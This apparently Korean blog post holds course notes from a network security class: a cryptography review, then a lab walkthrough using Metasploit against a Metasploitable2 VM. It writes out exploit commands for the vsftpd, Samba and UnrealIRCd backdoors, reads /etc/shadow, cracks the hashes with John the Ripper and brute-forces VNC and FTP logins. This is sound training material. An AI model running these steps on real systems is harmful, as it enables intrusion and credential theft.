본문 바로가기

등등/네트워크 시스템 보안

네트워크 시스템 보안- 4일차

 

 

* 복습

- 대칭키(기밀성), 공개키(인증,기밀성), 해쉬함수(무결성)

 

* 대칭키

- 장점: 속도가 빠름 ----> 데이터를 암호화/복호화

- 단점: 키 전달의 문제, 키 개수의 문제(N(N-1)/2)     0.002

- 표준대칭키 : DES, 3DES, AES

- 국내대칭키 : SEED, ARIA, HIGHT, LEA

- 유명대칭키 : RC6, Blowfish 등

- 대칭키의 원리 : 치환, 순열(전치), 매트릭스 등  ------> AES는 SPN구조(Substitution(치환), Permutation(순열), Network)

 

* 공개키

- 장점: 인증, 기밀성, 키 전달 및 개수의 문제 해결      ex) 누구나 개인키 공개키 한쌍 ----> N명의 사용자, 2N개 필요

- 단점 : 속도가 대칭키에 비해서 약 100~1000배 느림       0.2

- 대칭키(=세션키)를 암호화/복호화 할 때 공개키를 사용

- Diffie-Hellman : 세션키를 교환하지 않고, 자신의 개인키와 상대방의 공개키를 연산을 통해 세션키를 생성, 이산대수 (단점: MITM)

- RSA : 소인수분해의 어려움에 근거, 양방향 암호화(개인키로 암호화하면 공개키로 복호화, 공개키로 암호화하면 개인키로 복호화)

- ECC (타원곡선암호화) : 짧은 키 길이로 강력한 암호화를 지원 ----> Hardware에서 동작(모바일 등)

          cf. 암호화 강도 비교 : ECC160bit와 RSA1024bit와 비슷한 수준의 암호화를 제공

 

* Hash Function

- 3가지 특징 : 고정길이 출력, 역연산불가, 충돌방지

- MD5, SHA1 -----> 일부 크래킹 가능 ----> 사용하면 안됨(인증 안해줌),   SHA-2(256bit) : 공동인증서, Bitcoin에서 사용

- 무결성(Integrity) : 내용이 바뀌지 않았다는 것을 증명 ----> 원문이 바뀌면 해쉬값이 바뀜 (해쉬값만 보고도 확인 가능)

 

* 전자서명

- 원문의 해쉬값에 송신자의 개인키로 서명

- 무결성, 인증, 부인방지   (기밀성은 제공하지 않음)

- 검증 : 송신자의 공개키로 서명을 복호화하면 해쉬값이 나옴, 원문의 해쉬값을 계산해서 비교해보면 됨

 

* 인증서

- 공개키의 해쉬값에 인증기관의 개인키로 서명

- 공개키의 주인을 확인해주는 효과 ----> 믿고 사용 가능

 

* PKI (Public Key Infrastructure)

- 최상위 인증기관(Root CA) : 인증기관을 인증

- 인증기관(CA) : 인증서를 발급

- 등록기관(RA) : 인증기관의 인증서 발급을 위해서 사용자 검증, 서류 접수 등

 

* SSL (Secure Socket Layer)      (Socket : IP주소+Port번호 ---> 비표준용어)

- Netscape社에서 웹서버와 웹브라우저간 암호화를 위해서 만듦  -----> 취약점이 너무 많았음

- 표준화하면서 이름을 TLS(Transport Layer Security)로 업그레이드 (취약점 해결)

- 웹서버의 인증서(공개키+기타정보)를 웹브라우저에 제공(자물통 모양이 보임, TCP443포트 사용)

- 웹브라우저는 세션키를 생성해서 웹서버의 공개키로 암호화해서 제공

- 양쪽이 모두 세션키를 가지게 됨 -----> 데이터를 세션키로 암호화해서 양방향 기밀성 가능

 

 

* 보안 관련 컨퍼런스

- 블랙햇 컨퍼런스, 데프콘(해킹대회) ----> 라스베가스

- RSA Conference(암호화)  ----> 샌프란시스코

- Cloud 보안  -----> LA

- 신문사 글을 써줌,  컨퍼런스 참가 가이드,  보안 회사에서 보내주기도,  공공기관 기금(모집)

 

실습) 암호화 실습

- Metasploitable2에 SSH로 접속하고, Wireshark로 패킷 캡쳐해보기

- 스니핑이 가능할까?

 

- VMware에서 Metasploitable2(이하 Meta2)를 실행합니다.

$ sudo  ls

$ sudo  adduser  blackpink

   PW : icecream

- Window10(host)에서 Wireshark를 실행합니다.

- VMnet8을 더블클릭(캡쳐시작)

- Windows10(host)에서 명령프롬프트 실행

    pwd

    whoami           // 공격자들이 어떤 권한을 획득했는지 확인할 때 많이 쓰임  (영화 '후엠아이'라는 영화)

    ls -l

    last                // 마지막 로그인 시간

    w                  // 현재 접속자 목록

    lastb               // 로그인 실패한 사용자

    lastlog            // 모든 사용자의 로그인 내역

    history            // 지금까지 사용했던 명령어 목록

    uname -r         // 커널 버전 확인

    exit                // 접속 종료

$ cd  /etc/ssh

$ sha256sum  ssh_host_rsa_key.pub

   (공개키의 해쉬값을 확인)

 

 

* 약점 : 버전과 관련이 없음, 지속적으로 존재

  취약점 : 특정 버전에만 존재, 패치(보안 업데이트)를 하면 사라짐

 

 

Quiz) 취약점이 존재한다는 사실이 알려지면 패치를 만들때까지 얼마나 걸릴까요?

1) 1일

2) 일주일

3) 한달

4) 두달

5) 두달 반(75일)

 

-----> MS 직원의 50%는 Tester라고 함

 

* 약점(Weakness)

- 관리기관 : cwe.mitre.org  

- 번호체계 : CWE-NNNNN    (CWE : Common Weakness Enumeration, 일반적인 약점 목록)

     ex) CWE-416: Use After Free

 

* 취약점(Vulnerability, Vulns)

- 관리기관 : cve.mitre.org  

- 번호체계 : CVE-YYYY-NNNNnnn  (Y는 년도,  N은 숫자인데 4자리부터 7자리까지 사용)

     ex) CVE-2022-29968   (2022년에 나온 취약점)

 

* 취약점 번호를 받았다는 것은 알려진 취약점이라는 의미 (One Day Exploit)  ---> 패치가 배포된 상태

  아직 취약점이 존재하는지 알지못하는 것은 Zero-Day Exploit라고 함  ----> 아직 패치가 배포되지 않은 상태

 

* 엠바고 : 어떤 사실을 언론이 일정 기간동안 보도하지 말아달라고 요청하는 것

- 취약점의 경우 패치가 나오기 전까지 엠바고를 요청함

 

* Metasploit

- Exploit 도구중에 가장 유명한 도구

- H.D. Moore가 Perl Script로 만들었는데 Rapid7에서 인수해서 Ruby로 재구조화  (공격모듈 확장자 .rb)

- 무료 버전을 배포하겠다고 약속 (Metasploit-Framework:무료,   Metasploit pro:유료)

- Windows, Linux 버전 등 제공 (공격 모듈을 악성코드로 인식하기 때문에 Windows에서 설치하면 동작이 잘 안됨)

- Kali Linux에 설치된 Metasploit를 활용하면 매우 편리함

 

실습) 처음 실행할 때

  피닉스 아이콘(시작) > 08 Exploit Tools > Metasploit Framework 실행

  (DB생성, 사용자 등등 시작)

msf6> search  vsftpd                                          // 취약점 관련 공격 모듈을 검색

msf6> use  exploit/unix/ftp/vsftpd_234_backdoor      // use명령으로 공격 모듈을 장착

msf6> set  rhost  192.168.5.129                             // Meta2의 IP를 target으로 지정

msf6> exploit                                                    // 공격 시작

Session 1 opened ...                                            // 연결이 완료됨

ifconfig

   -----> Meta2의 IP주소가 보임

whoami

   ----->  root  (공격자에게 root권한이 주어짐)

last

cat  /etc/passwd                       // 사용자 목록 확인

 

 

가든쿡 점심시간 조정 :    11:30~13:00

시행 : 2022년 5월 4일부터

참고) 가격은 양과 비례하지 않음

 

* Metasploit로 연결된 경우 접속해제 방법

 Ctrl+c

 Abort session 1?  y

 back                                    //  Metasploit 초기 상태로 돌아감

 exit

 

탭을 추가해서 2개로 만들고

1번탭) 스크립트를 활용한 상세 스캔

$ cd   /usr/share/nmap/scripts

$ sudo  find   .  -name "*vsftpd*"

     ftp-vsftpd-backdoor.nse

$ sudo  nmap  --script=ftp-vsftpd-backdoor.nse  192.168.5.129 -p 21           // 21번포트의 VSFTP의 취약점을 파악하는 스크립트 활용

    -----> VURNARABLE (취약점이 존재하는 것을 확인)

 

2번탭) Metasploit를 실행

$ sudo  msfconsole

 

 

* 두번째 예제 : SAMBA

- Windows의 SMB라는 프로토콜이 있음 (SMB : Server Message Block ---> 윈도우간 파일 및 폴더를 공유하는 프로토콜)

- SMB를 리눅스 서버로 확장해서 사용하는 것이 SaMBa

- Windows계정과 Linux계정을 일치시켜서 Windows계정으로 Linux에 파일을 저장하거나 공유할 수 있음 (팀 파일 서버)

 

1번탭) 

$ sudo  nmap  -sV  192.168.5.129

----> 139, 445번 포트에 SAMBA 실행중

----> 버전 : 3.X ~ 4.X ????

$ sudo find . -name "*samba*"               // 스크립트를 찾아봅니다.

    samba-vuln-cve-2012-1182.nse

$ sudo  nmap  --script=samba-vuln-cve-2012-1182.nse   192.168.5.129                 // 포트번호를 모르면 안써도 됨

    ----> VULNARABLE이 보이지 않음 ----> 이 취약점은 아님

$ sudo  nmap  -A  192.168.5.129  -p 139               // 139번만 집중 스캔

    ---->  smbd 3.0.20-Debian   

 

* 구글에서 검색해봄 :  smbd 3.0.20-Debian 검색해보면,  Rapid7등등에서 많이 언급하고 있음

  ---> Rapid7에서 Metasploit 모듈과 명령어를 알려줌

 

2번탭) Metasploit 에서

msf6 > search usermap_script

msf6 > use  exploit/multi/samba/usermap_script

msf6 > info                                                   // 스크립트 내용 확인

msf6 > set rhost 192.168.5.129

msf6 > show payloads                                    // 현재 장착된 모듈에서 사용 가능한 페이로드 목록을 보려고 할 때

      ( 페이로드 중에 reverse가 포함된 것이 있는데 사용하려면 set lhost를 설정해야 함)

msf6 > show options

msf6 > set payload  cmd/unix/bind_ruby

msf6 > exploit

  ----->  Command shell session 1 opened   : 연결되었음

  (프롬프트는 없어도 리눅스 명령 사용 가능)

 

cat  /etc/apache2/apache2.conf                       // 설정 파일의 설정 내용 확인

cat  /var/log/auth.log                                   // root권한이기 때문에 로그 내용 확인 가능

cat  /var/log/syslog

tail  -10  /var/log/syslog 

useradd  itzy                                              // 계정 만들기는 가능,  패스워드 변경은 안됨...

cat  /etc/passwd  

cat  /etc/shadow

     ctrl + c 를 눌러서 접속을 종료

 

* Exploit 단계

1단계) 버전 스캔, All 스캔  ----> 취약한 포트를 찾아봅니다.

2단계) 스크립트를 이용해서 진짜 그 취약점이 존재하는지 확인

3단계) 구글에서 검색해서 확인

4단계) Metasploit에서 Exploit

 

 

실습)  6667번 포트를 위의 Exploit 단계에 따라 실습해보세요.    ( 45분까지 )

1단계)

$ sudo  nmap  -A  192.168.5.129  -p 6667

   ----> Unrealircd 3.2.8.1

2단계)

$ find  .  -name "*unreal*"

$ sudo  nmap  --script=irc-unrealircd-backdoor.nse   192.168.5.129  -p 6667

   ----> "Looks like trojaned version"

3단계)

구글에서 확인해보면 Malicious Backdoor 있음

4단계)

search ircd 3281

use exploit/unix/irc/unreal_ircd_3281_backdoor

set rhost 192.168.5.129

show payloads

set payload cmd/unix/bind_ruby                    // 다른 페이로드를 사용해도 잘 됨

exploit

 

* 실습 파일 다운로드

ha.do/v9P   (windows7 다운로드)

 

* 연결 이후의 작업

cat  /etc/passwd

   root~~~마지막줄의 sh까지 블럭설정 후 복사

3번째 탭을 열고

$ sudo  vi  passwd

    edit 메뉴에서 paste clipboard

    :wq

 

2번째 탭으로 다시 와서

cat  /etc/shadow

   root ~~ 마지막줄의 :::까지 블럭설정 후 복사

3번째 탭으로 가서

$ sudo  vi  shadow

    edit 메뉴에서 paste clipboard

    :wq

 

* John the Ripper로 계정 크래킹 (3번째 탭에서)

$ sudo  unshadow  passwd  shadow  >  pass.1

$ sudo  john  pass.1

 

- passwd에는 계정정보만 있음, shadow에는 패스워드 해쉬값이 저장되어 있음'

 ---> 두 파일을 하나로 합쳐서 john the Ripper로 Dictionary&Brute Force 방식으로 크래킹

 

----> 패스워드가 복잡하면 잘 안나옴, 쉬운 패스워드는 바로 크래킹

참고) Jack the Ripper (1870년대 영국의 연쇄 살인마 ----> 안잡힘. 누군지 모름... 그냥 많이 쓰는 이름인 Jack이라 했음)

 

3번째 탭과 2번째 탭에서 ctrl + c를 누르면 중지됨

 

실습) 3632번 포트의 distcc 취약점을 1단계~4단계 순서대로 실습해보세요.

- distcc 취약점은 무엇인지?

- script에 없을 수도 있음...

$ sudo  nmap  -sS  192.168.5.129   -p 1000-4000

 

* 지금까지 실습한 포트와 취약점 정리

- 21번포트 : vsFTP 2.3.4

- 6667번 포트 : Unrealirc 8.2.3.1

- 139번 포트 : SAMBA 3.0.20

- 3632번 포트 : DistCC 취약점

- 각자 알아서 나머지 취약점들 공략해보기

 

* VNC 5900번 포트의 패스워드 알아내기

3번탭) 딕셔너리 파일 생성

$ cd  /usr/share/metasploit-framework/data/wordlists

$ sudo  vi  vnc_password.lst

   i           // 편집모드 시작

   123456

   12345

   hello

   password

   ESC        // 편집모드 종료

   :wq

2번탭) Metasploit

  use  auxiliary/scanner/vnc/vnc_login

  set  rhost 192.168.5.129

  set  STOP_ON_SUCCESS  true

  set  PASS_FILE  /usr/share/metasploit-framework/data/wordlists/vnc_password.lst

  exploit

 

* 앞의 실습과 다른점

- 앞에서 실습했던 모듈은 exploit/~~~~   

- 지금 사용한 모듈은 auxiliary/~~~                 // 보조 도구 : 스캐닝, 패스워드 대입 등등 취약점이 아닌 일반적 공격을 해보는 모듈

 

* Dictionary를 이용해서 proftpd를 로그인 시도

$ cd  /home/kali

$ sudo  vi  username.txt

   admin

   root

   test

   msfadmin

  :wq

$ sudo  vi  password.txt

    123456

    password

    hello

    msfadmin

  :wq

$ sudo  service  postgresql  start               // postgreSQL (포스트그레스큐엘)을 시작

 

* Metasploit 탭에서

   use auxiliary/scanner/ftp/ftp_login

   set rhost 192.168.5.129

   set rport 2121

   set user_file /home/kali/username.txt

   set pass_file /home/kali/password.txt

   set user_as_pass  true

   set bruteforce_speed 3

   exploit

 

'등등 > 네트워크 시스템 보안' 카테고리의 다른 글

wireshark  (0) 2022.06.23
네트워크 시스템 보안-2일차  (0) 2022.05.09
네트워크 시스템 보안 - 1일차  (0) 2022.05.03
네트워크 시스템 보안 - 3일차  (0) 2022.05.02